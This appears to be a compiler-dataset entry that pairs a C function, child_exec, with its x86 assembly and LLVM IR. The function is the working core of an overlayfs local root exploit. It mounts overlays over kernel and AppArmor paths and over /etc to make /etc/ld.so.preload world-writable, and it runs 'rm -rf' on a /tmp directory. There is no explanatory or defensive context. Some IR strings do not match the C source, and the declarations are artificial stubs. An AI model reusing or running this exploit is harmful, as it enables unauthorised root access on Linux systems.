#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ MS_MGC_VAL;
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ chmod(char *, int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int /*<<< orphan*/ mkdir(char *, int);
scalar_t__ mount(char *, char *, char *, int /*<<< orphan*/, char *);
int /*<<< orphan*/ rename(char *, char *);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ system(char *);
int /*<<< orphan*/ umount(char *);
int child_exec(void *stuff) {
  char *file;
  system("rm -rf /tmp/ns_sploit");
  mkdir("/tmp/ns_sploit", 0777);
  mkdir("/tmp/ns_sploit/work", 0777);
  mkdir("/tmp/ns_sploit/upper", 0777);
  mkdir("/tmp/ns_sploit/o", 0777);
  fprintf(stderr, "mount #1\n");
  if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL,
            "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL,
              "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/"
              "upper,workdir=/tmp/ns_sploit/work") != 0) {
      fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
      exit(-1);
    }
    file = ".access";
    chmod("/tmp/ns_sploit/work/work", 0777);
  } else
    file = "ns_last_pid";
  chdir("/tmp/ns_sploit/o");
  rename(file, "ld.so.preload");
  chdir("/");
  umount("/tmp/ns_sploit/o");
  fprintf(stderr, "mount #2\n");
  if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL,
            "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL,
              "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/"
              "ns_sploit/work") != 0) {
      exit(-1);
    }
    chmod("/tmp/ns_sploit/work/work", 0777);
  }
  chmod("/tmp/ns_sploit/o/ld.so.preload", 0777);
  umount("/tmp/ns_sploit/o");
}


x86 assembly (clang, -O0):
<child_exec>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
lea    0xe5d(%rip),%rdi
call   1070 <system@plt>
lea    0xe58(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xfe6(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe95(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe34(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
mov    0x2ded(%rip),%rax
mov    (%rax),%edi
lea    0xe2b(%rip),%rsi
call   1080 <fprintf@plt>
mov    0x2dd0(%rip),%rax
mov    (%rax),%ecx
lea    0xe20(%rip),%rdi
lea    0xdfe(%rip),%rsi
lea    0xe1a(%rip),%rdx
lea    0xe1d(%rip),%r8
call   1050 <mount@plt>
cmp    $0x0,%rax
je     12a5 <child_exec+0x115>
mov    0x2d9c(%rip),%rax
mov    (%rax),%ecx
lea    0xdec(%rip),%rdx
lea    0xdca(%rip),%rsi
lea    0xe28(%rip),%r8
mov    %rdx,%rdi
call   1050 <mount@plt>
cmp    $0x0,%rax
je     1284 <child_exec+0xf4>
mov    0x2d74(%rip),%rax
mov    (%rax),%edi
lea    0xe67(%rip),%rsi
call   1080 <fprintf@plt>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>
lea    0xe82(%rip),%rax
mov    %rax,-0x18(%rbp)
lea    0xe7f(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
jmp    12b0 <child_exec+0x120>
lea    0xe82(%rip),%rax
mov    %rax,-0x18(%rbp)
lea    0xd5f(%rip),%rdi
call   1060 <chdir@plt>
mov    -0x18(%rbp),%rdi
lea    0xf04(%rip),%rsi
call   10a0 <rename@plt>
lea    0xe67(%rip),%rdi
call   1060 <chdir@plt>
lea    0xd37(%rip),%rdi
call   1040 <umount@plt>
mov    0x2cf5(%rip),%rax
mov    (%rax),%edi
lea    0xe48(%rip),%rsi
call   1080 <fprintf@plt>
mov    0x2cd8(%rip),%rax
mov    (%rax),%ecx
lea    0xd28(%rip),%rdi
lea    0xd06(%rip),%rsi
lea    0xd22(%rip),%rdx
lea    0xe28(%rip),%r8
call   1050 <mount@plt>
cmp    $0x0,%rax
je     1378 <child_exec+0x1e8>
mov    0x2ca4(%rip),%rax
mov    (%rax),%ecx
lea    0xcf4(%rip),%rdx
lea    0xcd2(%rip),%rsi
lea    0xe27(%rip),%r8
mov    %rdx,%rdi
call   1050 <mount@plt>
cmp    $0x0,%rax
je     1367 <child_exec+0x1d7>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>
lea    0xda7(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xe3b(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xc86(%rip),%rdi
call   1040 <umount@plt>
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<child_exec>:
push   %r15
push   %r14
push   %r12
push   %rbx
push   %rax
lea    0xe61(%rip),%rdi
call   1070 <system@plt>
lea    0xe5c(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xfea(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe99(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe38(%rip),%rbx
mov    %rbx,%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
mov    0x2dee(%rip),%r12
mov    (%r12),%edi
lea    0xe2a(%rip),%rsi
call   1080 <fprintf@plt>
mov    0x2dcf(%rip),%r15
mov    (%r15),%ecx
lea    0xe1e(%rip),%rdi
lea    0xe1f(%rip),%rdx
lea    0xe22(%rip),%r8
mov    %rbx,%rsi
call   1050 <mount@plt>
test   %rax,%rax
je     1271 <child_exec+0xe1>
mov    (%r15),%ecx
lea    0xdde(%rip),%rsi
lea    0xdf2(%rip),%rdi
lea    0xe35(%rip),%r8
mov    %rdi,%rdx
call   1050 <mount@plt>
test   %rax,%rax
jne    133d <child_exec+0x1ad>
lea    0xeb7(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xe9e(%rip),%rbx
jmp    1278 <child_exec+0xe8>
lea    0xeb6(%rip),%rbx
lea    0xd97(%rip),%r14
mov    %r14,%rdi
call   1060 <chdir@plt>
lea    0xf3d(%rip),%rsi
mov    %rbx,%rdi
call   10a0 <rename@plt>
lea    0xe9d(%rip),%rdi
call   1060 <chdir@plt>
mov    %r14,%rdi
call   1040 <umount@plt>
mov    (%r12),%edi
lea    0xe87(%rip),%rsi
call   1080 <fprintf@plt>
mov    (%r15),%ecx
lea    0xd6d(%rip),%rdi
lea    0xd6e(%rip),%rdx
lea    0xe74(%rip),%r8
mov    %r14,%rsi
call   1050 <mount@plt>
test   %rax,%rax
je     1315 <child_exec+0x185>
mov    (%r15),%ecx
lea    0xd2d(%rip),%rsi
lea    0xd41(%rip),%rdi
lea    0xe7b(%rip),%r8
mov    %rdi,%rdx
call   1050 <mount@plt>
test   %rax,%rax
jne    134d <child_exec+0x1bd>
lea    0xe0a(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xe9e(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xce9(%rip),%rdi
add    $0x8,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
jmp    1040 <umount@plt>
mov    (%r12),%edi
lea    0xd94(%rip),%rsi
call   1080 <fprintf@plt>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>

LLVM IR (-O0):
@.str = [22 x i8] c"rm -rf /tmp/ns_sploit\00"
@.str.1 = [15 x i8] c"/tmp/ns_sploit\00"
@.str.2 = [20 x i8] c"/tmp/ns_sploit/work\00"
@.str.3 = [21 x i8] c"/tmp/ns_sploit/upper\00"
@.str.4 = [17 x i8] c"/tmp/ns_sploit/o\00"
@stderr = global i32 0
@.str.5 = [10 x i8] c"mount\0A\00"
@.str.6 = [8 x i8] c"overlay\00"
@.str.7 = [10 x i8] c"overlayfs\00"
@MS_MGC_VAL = global i32 0
@.str.8 = [56 x i8] c"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper\00"
@.str.9 = [97 x i8] c"lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work\00"
@.str.10 = [49 x i8] c"no FS_USERNS_MOUNT for overlayfs on this kernel\0A\00"
@.str.11 = [8 x i8] c".access\00"
@.str.12 = [25 x i8] c"/tmp/ns_sploit/work/work\00"
@.str.13 = [12 x i8] c"ns_last_pid\00"
@.str.14 = [14 x i8] c"ld.so.preload\00"
@.str.15 = [2 x i8] c"/\00"
@.str.16 = [10 x i8] c"mount\0A\00"
@.str.17 = [44 x i8] c"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc\00"
@.str.18 = [72 x i8] c"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work\00"
@.str.19 = [31 x i8] c"/tmp/ns_sploit/o/ld.so.preload\00"
define i32 @child_exec(i8* %0) {
%2 = alloca i32
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
%5 = call i32 @system(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
%6 = call i32 @mkdir(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 511)
%7 = call i32 @mkdir(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i32 511)
%8 = call i32 @mkdir(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.3, i64 0, i64 0), i32 511)
%9 = call i32 @mkdir(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i32 511)
%10 = load i32, i32* @stderr
%11 = call i32 @fprintf(i32 %10, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.5, i64 0, i64 0))
%12 = load i32, i32* @MS_MGC_VAL
%13 = call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %12, i8* getelementptr inbounds ([56 x i8], [56 x i8]* @.str.8, i64 0, i64 0))
%14 = icmp ne i64 %13, 0
br i1 %14, label %15, label %25
15: ; preds = %1
%16 = load i32, i32* @MS_MGC_VAL
%17 = call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i32 %16, i8* getelementptr inbounds ([97 x i8], [97 x i8]* @.str.9, i64 0, i64 0))
%18 = icmp ne i64 %17, 0
br i1 %18, label %19, label %23
19: ; preds = %15
%20 = load i32, i32* @stderr
%21 = call i32 @fprintf(i32 %20, i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str.10, i64 0, i64 0))
%22 = call i32 @exit(i32 -1)
unreachable
23: ; preds = %15
store i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.11, i64 0, i64 0), i8** %4
%24 = call i32 @chmod(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.12, i64 0, i64 0), i32 511)
br label %26
25: ; preds = %1
store i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.13, i64 0, i64 0), i8** %4
br label %26
26: ; preds = %25, %23
%27 = call i32 @chdir(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0))
%28 = load i8*, i8** %4
%29 = call i32 @rename(i8* %28, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.14, i64 0, i64 0))
%30 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.15, i64 0, i64 0))
%31 = call i32 @umount(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0))
%32 = load i32, i32* @stderr
%33 = call i32 @fprintf(i32 %32, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.16, i64 0, i64 0))
%34 = load i32, i32* @MS_MGC_VAL
%35 = call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %34, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.17, i64 0, i64 0))
%36 = icmp ne i64 %35, 0
br i1 %36, label %37, label %45
37: ; preds = %26
%38 = load i32, i32* @MS_MGC_VAL
%39 = call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i32 %38, i8* getelementptr inbounds ([72 x i8], [72 x i8]* @.str.18, i64 0, i64 0))
%40 = icmp ne i64 %39, 0
br i1 %40, label %41, label %43
41: ; preds = %37
%42 = call i32 @exit(i32 -1)
unreachable
43: ; preds = %37
%44 = call i32 @chmod(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.12, i64 0, i64 0), i32 511)
br label %45
45: ; preds = %43, %26
%46 = call i32 @chmod(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.19, i64 0, i64 0), i32 511)
%47 = call i32 @umount(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0))
%48 = load i32, i32* %2
ret i32 %48
}

LLVM IR (-O2):
@.str = [22 x i8] c"rm -rf /tmp/ns_sploit\00"
@.str.1 = [15 x i8] c"/tmp/ns_sploit\00"
@.str.2 = [20 x i8] c"/tmp/ns_sploit/work\00"
@.str.3 = [21 x i8] c"/tmp/ns_sploit/upper\00"
@.str.4 = [17 x i8] c"/tmp/ns_sploit/o\00"
@stderr = global i32 0
@.str.5 = [10 x i8] c"mount\0A\00"
@.str.6 = [8 x i8] c"overlay\00"
@.str.7 = [10 x i8] c"overlayfs\00"
@MS_MGC_VAL = global i32 0
@.str.8 = [56 x i8] c"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper\00"
@.str.9 = [97 x i8] c"lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work\00"
@.str.10 = [49 x i8] c"no FS_USERNS_MOUNT for overlayfs on this kernel\0A\00"
@.str.11 = [8 x i8] c".access\00"
@.str.12 = [25 x i8] c"/tmp/ns_sploit/work/work\00"
@.str.13 = [12 x i8] c"ns_last_pid\00"
@.str.14 = [14 x i8] c"ld.so.preload\00"
@.str.15 = [2 x i8] c"/\00"
@.str.16 = [10 x i8] c"mount\0A\00"
@.str.17 = [44 x i8] c"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc\00"
@.str.18 = [72 x i8] c"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work\00"
@.str.19 = [31 x i8] c"/tmp/ns_sploit/o/ld.so.preload\00"
define i32 @child_exec(i8* nocapture readnone %0) {
%2 = tail call i32 @system(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
%3 = tail call i32 @mkdir(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 511)
%4 = tail call i32 @mkdir(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i32 511)
%5 = tail call i32 @mkdir(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.3, i64 0, i64 0), i32 511)
%6 = tail call i32 @mkdir(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i32 511)
%7 = load i32, i32* @stderr
%8 = tail call i32 @fprintf(i32 %7, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.5, i64 0, i64 0))
%9 = load i32, i32* @MS_MGC_VAL
%10 = tail call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %9, i8* getelementptr inbounds ([56 x i8], [56 x i8]* @.str.8, i64 0, i64 0))
%11 = icmp eq i64 %10, 0
br i1 %11, label %22, label %12
12: ; preds = %1
%13 = load i32, i32* @MS_MGC_VAL
%14 = tail call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i32 %13, i8* getelementptr inbounds ([97 x i8], [97 x i8]* @.str.9, i64 0, i64 0))
%15 = icmp eq i64 %14, 0
br i1 %15, label %20, label %16
16: ; preds = %12
%17 = load i32, i32* @stderr
%18 = tail call i32 @fprintf(i32 %17, i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str.10, i64 0, i64 0))
%19 = tail call i32 @exit(i32 -1)
unreachable
20: ; preds = %12
%21 = tail call i32 @chmod(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.12, i64 0, i64 0), i32 511)
br label %22
22: ; preds = %1, %20
%23 = phi i8* [ getelementptr inbounds ([8 x i8], [8 x i8]* @.str.11, i64 0, i64 0), %20 ], [ getelementptr inbounds ([12 x i8], [12 x i8]* @.str.13, i64 0, i64 0), %1 ]
%24 = tail call i32 @chdir(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0))
%25 = tail call i32 @rename(i8* %23, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.14, i64 0, i64 0))
%26 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.15, i64 0, i64 0))
%27 = tail call i32 @umount(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0))
%28 = load i32, i32* @stderr
%29 = tail call i32 @fprintf(i32 %28, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.16, i64 0, i64 0))
%30 = load i32, i32* @MS_MGC_VAL
%31 = tail call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0), i32 %30, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.17, i64 0, i64 0))
%32 = icmp eq i64 %31, 0
br i1 %32, label %41, label %33
33: ; preds = %22
%34 = load i32, i32* @MS_MGC_VAL
%35 = tail call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0), i32 %34, i8* getelementptr inbounds ([72 x i8], [72 x i8]* @.str.18, i64 0, i64 0))
%36 = icmp eq i64 %35, 0
br i1 %36, label %39, label %37
37: ; preds = %33
%38 = tail call i32 @exit(i32 -1)
unreachable
39: ; preds = %33
%40 = tail call i32 @chmod(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.12, i64 0, i64 0), i32 511)
br label %41
41: ; preds = %39, %22
%42 = tail call i32 @chmod(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.19, i64 0, i64 0), i32 511)
%43 = tail call i32 @umount(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.4, i64 0, i64 0))
ret i32 undef
}